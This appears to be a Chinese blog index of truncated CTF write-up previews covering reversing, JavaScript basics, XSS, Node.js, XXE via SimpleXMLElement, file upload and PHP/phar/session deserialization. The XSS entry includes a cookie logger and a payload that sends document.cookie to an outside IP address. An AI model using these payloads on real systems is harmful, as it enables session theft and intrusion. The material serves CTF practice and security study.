hg-easync
easync进入ida分析
找到main函数按F5查看伪代码
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253int __cdecl main(int argc, const char **argv, const char **envp){//定义数据 __int64 v3; // rbx __int64 v4; // rax char v5; // al char *v6; // rcx int v8[10]; // [rsp+20h] [rbp-19h] char v9; // [rsp+48h] [rbp+Fh] __int128 v10[3]; // [rsp+50h] [rbp+17h] BYREF __int16 v11; // [rsp+80h] [rbp+47h]//初始化值 v8[0] = 167640836; v8[1] = 11596545; v11 = 0; v8[2] = -1376 ...
js基础
预解析与作用域1234567891011function f1() { var a; a = b = c = 9;// 相当于 var a = 9; b = 9; c = 9; b 和 c 没有赋值没有var 声明,当全局变量看 console.log(a); console.log(b); console.log(c);}f1();console.log(c);console.log(b);console.log(a);//这里会报错
流操作两种流:readable和data
两种读取:process.stdin.on和input
Node.js process.stdin用法及代码示例 - 纯净天空 (vimsky.com)
1234567// Enter any texts ( User input) process.stdin.on('data', data => { console.log(`You typed ${data.toString()} ...
jQuery
jQuery基本语法$(selector).action()
1234- $(this).hide() - 隐藏当前元素- $("p").hide() - 隐藏所有 <p> 元素- $("p.test").hide() - 隐藏所有 class="test" 的 <p> 元素- $("#test").hide() - 隐藏 id="test" 的元素
格式要求:需要在DOM加载完毕才能执行jQuery
12345$(function(){ // 开始写 jQuery 代码... });
元素选择1234567891011121314$("#test") 页面的id是唯一的,选择id="test"的属性$(".test") 选择class="test"的所有元素$("*") 选取所有元素$(this) 选取当前 HTML 元素 ...
xss
web316服务器部署index.php
123<?php$cookie=$_GET[1];file_put_contents("cookie.txt",$cookie,FILE_APPEND);
xss.js
123var img = new Image();img.src = "http://39.105.125.61/index.php?1="+document.cookiedocument.body.append(img);
发送请求
1msg=<script src="http://39.105.125.61/xss.js"></script>
或者
1msg=<script src='http://39.105.125.61/x.php?cookie='+document.cookie"></script>
web317这里过滤了script
1<select onfocus=window.open('ht ...
nodejs
web334login.js
12345678910111213141516171819202122232425262728293031323334var express = require('express');var router = express.Router();var users = require('../modules/user').items; var findUser = function(name, password){ return users.find(function(item){ return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password; });};/* GET home page. */router.post('/', function(req, res, next) ...
BUU-SimpleXMLElement的利用
[SUCTF 2018]Homework
SimpleXMLElement引入远程XML随便注册一个账号登陆进去看看
calc按钮回显结果,第一眼看到这个以为是什么骚姿势利用eval执行命令,但是这两个intval我努力挣扎了两下没办法绕过
但是仔细看这里传入的参数,calc不就是类名吗,剩下的三个就是参数了,这时候就到主角登场了
SimpleXMLElement
php原生类,是一个用于解析XML文档中元素的内置类
1234567public SimpleXMLElement::__construct( string $data, int $options = 0, bool $dataIsURL = false, string $namespaceOrPrefix = "", bool $isPrefix = false)
设置第三个参数dataIsURL为true就可以实现远程xml文件的导入
第二个参数的常量值设置为2即可,第一个参数data就是我们引入外部实体的url
搭建aaa.dtd
1234<!DOCTYPE ...
Kitecms
文件上传随便注册一个用户
看看avatar
application/memer/controller/Member.php
123456789101112131415161718192021// 头像设置 public function avatar() { // 获取表单上传文件 $file = Request::file('file'); $uploadObj = new UploadFile($this->site_id); $ret = $uploadObj->upload($file); // 修改图片路径 $memberObj = new AuthUser; $member = $memberObj->where('uid', $this->uid)->find(); $member->avatar = $ret['url']; $member->save(); if ($ret) ...
phar反序列化
概念phar文件本质上是一种压缩文件,在使用phar协议文件包含时,也是可以直接读取zip文件的。使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化
流程:构造phar(元数据中含有恶意序列化内容)文件—>上传—>触发反序列化
最后一步是寻找触发phar文件元数据反序列化。其实php中有一大部分的文件系统函数在通过phar://伪协议解析phar文件时都会将meta-data进行反序列化
利用条件12345678910111.phar文件能够上传至服务器 //即要求存在include、file_get_contents、file_put_contents、copy、file、file_exists、is_executable、is_file、is_dir、is_link、is_writable、fileperms、fileinode、filesize、fileowner、filegroup、fileatime、filemtime、file ...
session反序列化
php的session机制PHP中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项 session.save_handler 来进行确定的,默认是以文件的方式存储
存储的文件是以sess_[sessionid]来进行命名的
在php 5.5.4以前默认选择的是php,5.5.4之后就是php_serialize
选择器
存储格式
样例 $_SESSION [‘name’]=’ocean’
php_serialize
经过 serialize () 函数序列化数组
a:1:{s:4:“name”;s:5:“ocean”;}
php (默认)
键名 竖线 经过 serialize () 函数处理的值
name|s:5:“ocean”;
php_binary
键名的长度对应的 ascii 字符佳宁 serialize () 函数序列化的值
name s:6:“spoock”;
反序列化方式有$_SESSION变量赋值123456789<?phpini_set('session.serialize_ha ...
php反序列化
PHP反序列化三种访问控制的区别
public: 变量名
protected: \x00 + * + \x00 + 变量名(或 \00 + * + \00 + 变量名 或 %00 + * + %00 + 变量名)
private: \x00 + 类名 + \x00 + 变量名(或 \00 + 类名 + \00 + 变量名 或 %00 + 类名 + %00 + 变量名)
注:>=php v7.2 反序列化对访问类别不敏感(protected -> public)
魔术方法12345678910111213__construct() #每次创建新对象时先调用此方法__destruct() #某个对象的所有引用都被删除或者销毁时调用(没有变量指到当前对象时也会被触发,如 a:2:{i:0;O:4:"User":0:{}i:0;s:3:"xxx";},被覆盖后没有变量指向User对象)__toString() #把类被当做一个字符串使用时调用__wakeup() #使用unse ...